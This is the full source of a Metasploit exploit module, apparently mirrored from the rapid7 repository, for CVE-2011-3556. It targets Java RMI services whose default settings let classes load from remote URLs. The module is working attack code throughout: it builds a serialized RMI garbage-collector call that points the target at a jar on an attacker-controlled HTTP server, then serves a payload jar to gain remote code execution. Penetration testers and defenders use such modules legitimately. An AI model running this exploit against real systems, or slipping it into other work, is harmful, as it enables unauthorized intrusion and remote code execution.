Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_rmi_server.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Java::Rmi::Client
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::Remote::CheckModule
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
18
'Description' => %q{
19
This module takes advantage of the default configuration of the RMI Registry and
20
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
21
invokes a method in the RMI Distributed Garbage Collector which is available via every
22
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
23
(custom) RMI endpoints as well.
24
25
Note that it does not work against Java Management Extension (JMX) ports since those do
26
not support remote class loading, unless another RMI endpoint is active in the same
27
Java process.
28
29
RMI method calls do not support or require any sort of authentication.
30
},
31
'Author' => [ 'mihi' ],
32
'License' => MSF_LICENSE,
33
'References' => [
34
# RMI protocol specification
35
[ 'URL', 'http://web.archive.org/web/20110824060234/http://download.oracle.com:80/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
36
[ 'URL', 'http://www.securitytracker.com/id?1026215'],
37
[ 'CVE', '2011-3556']
38
],
39
'DisclosureDate' => '2011-10-15',
40
'Platform' => %w{java linux osx solaris win},
41
'Privileged' => false,
42
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
43
'Stance' => Msf::Exploit::Stance::Aggressive,
44
'DefaultOptions' => {
45
'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',
46
'WfsDelay' => 10
47
},
48
'Targets' => [
49
[
50
'Generic (Java Payload)',
51
{
52
'Platform' => ['java'],
53
'Arch' => ARCH_JAVA
54
}
55
],
56
[
57
'Windows x86 (Native Payload)',
58
{
59
'Platform' => 'win',
60
'Arch' => ARCH_X86,
61
}
62
],
63
[
64
'Linux x86 (Native Payload)',
65
{
66
'Platform' => 'linux',
67
'Arch' => ARCH_X86,
68
}
69
],
70
[
71
'Mac OS X PPC (Native Payload)',
72
{
73
'Platform' => 'osx',
74
'Arch' => ARCH_PPC,
75
}
76
],
77
[
78
'Mac OS X x86 (Native Payload)',
79
{
80
'Platform' => 'osx',
81
'Arch' => ARCH_X86,
82
}
83
]
84
],
85
'DefaultTarget' => 0,
86
'Notes' => {
87
'Reliability' => UNKNOWN_RELIABILITY,
88
'Stability' => UNKNOWN_STABILITY,
89
'SideEffects' => UNKNOWN_SIDE_EFFECTS
90
}
91
)
92
)
93
register_options([
94
Opt::RPORT(1099),
95
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
96
])
97
register_common_rmi_ports_and_services
98
end
99
100
def exploit
101
begin
102
Timeout.timeout(datastore['HTTPDELAY']) { super }
103
rescue Timeout::Error
104
# When the server stops due to our timeout, re-raise
105
# RuntimeError so it won't wait the full wfs_delay
106
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
107
rescue Msf::Exploit::Failed
108
# When the server stops due primer failing, re-raise
109
# RuntimeError so it won't wait the full wfs_delays
110
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
111
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
112
# When the primer fails due to an error connecting with
113
# the rhost, re-raise RuntimeError so it won't wait the
114
# full wfs_delays
115
raise ::RuntimeError, e.message
116
end
117
end
118
119
def primer
120
connect
121
122
print_status("Sending RMI Header...")
123
send_header
124
ack = recv_protocol_ack
125
if ack.nil?
126
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
127
end
128
129
jar = rand_text_alpha(rand(8) + 1) + '.jar'
130
new_url = get_uri + '/' + jar
131
132
print_status("Sending RMI Call...")
133
dgc_interface_hash = calculate_interface_hash(
134
[
135
{
136
name: 'clean',
137
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
138
exceptions: ['java.rmi.RemoteException']
139
},
140
{
141
name: 'dirty',
142
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
143
exceptions: ['java.rmi.RemoteException']
144
}
145
]
146
)
147
148
# JDK 1.1 stub protocol
149
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
150
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
151
send_call(
152
object_number: 2,
153
uid_number: 0,
154
uid_time: 0,
155
uid_count: 0,
156
operation: 0,
157
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
158
arguments: build_dgc_clean_args(new_url)
159
)
160
161
return_value = recv_return
162
163
if return_value.nil? && !session_created?
164
fail_with(Failure::Unknown, 'RMI Call failed')
165
end
166
167
if return_value && return_value.is_exception? && loader_disabled?(return_value)
168
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
169
end
170
171
if return_value && return_value.is_exception? && class_not_found?(return_value)
172
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
173
end
174
175
disconnect
176
end
177
178
def on_request_uri(cli, request)
179
if request.uri =~ /\.jar$/i
180
p = regenerate_payload(cli)
181
jar = p.encoded_jar
182
paths = [
183
[ "metasploit", "RMILoader.class" ],
184
[ "metasploit", "RMIPayload.class" ],
185
]
186
187
jar.add_file('metasploit/', '') # create metasploit dir
188
paths.each do |path_parts|
189
path = ['java', path_parts].flatten.join('/')
190
contents = ::MetasploitPayloads.read(path)
191
jar.add_file(path_parts.join('/'), contents)
192
end
193
194
send_response(cli, jar.pack,
195
{
196
'Content-Type' => 'application/java-archive',
197
'Connection' => 'close',
198
'Pragma' => 'no-cache'
199
})
200
201
print_status("Replied to request for payload JAR")
202
cleanup_service
203
end
204
end
205
206
def autofilter
207
return true
208
end
209
210
def loader_disabled?(return_value)
211
return_value.value.each do |exception|
212
if exception.class == Rex::Java::Serialization::Model::NewObject &&
213
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
214
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' &&
215
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
216
exception.class_data[1].contents.include?('RMI class loader disabled')
217
return true
218
end
219
end
220
221
false
222
end
223
224
def class_not_found?(return_value)
225
return_value.value.each do |exception|
226
if exception.class == Rex::Java::Serialization::Model::NewObject &&
227
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
228
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
229
return true
230
end
231
end
232
233
false
234
end
235
236
def build_dgc_clean_args(jar_url)
237
arguments = []
238
239
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
240
new_array_annotation.contents = [
241
Rex::Java::Serialization::Model::NullReference.new,
242
Rex::Java::Serialization::Model::EndBlockData.new
243
]
244
245
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
246
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
247
248
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
249
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
250
new_array_desc.serial_version = 0x871300b8d02c647e
251
new_array_desc.flags = 2
252
new_array_desc.fields = []
253
new_array_desc.class_annotation = new_array_annotation
254
new_array_desc.super_class = new_array_super
255
256
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
257
array_desc.description = new_array_desc
258
259
new_array = Rex::Java::Serialization::Model::NewArray.new
260
new_array.type = 'java.rmi.server.ObjID;'
261
new_array.values = []
262
new_array.array_description = array_desc
263
264
arguments << new_array
265
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
266
267
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
268
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
269
new_class_desc.serial_version = 0xa16544ba26f9c2f4
270
new_class_desc.flags = 2
271
new_class_desc.fields = []
272
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
273
new_class_desc.class_annotation.contents = [
274
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
275
Rex::Java::Serialization::Model::EndBlockData.new
276
]
277
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
278
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
279
280
new_object = Rex::Java::Serialization::Model::NewObject.new
281
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
282
new_object.class_desc.description = new_class_desc
283
new_object.class_data = []
284
285
arguments << new_object
286
287
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
288
289
arguments
290
end
291
end
292
293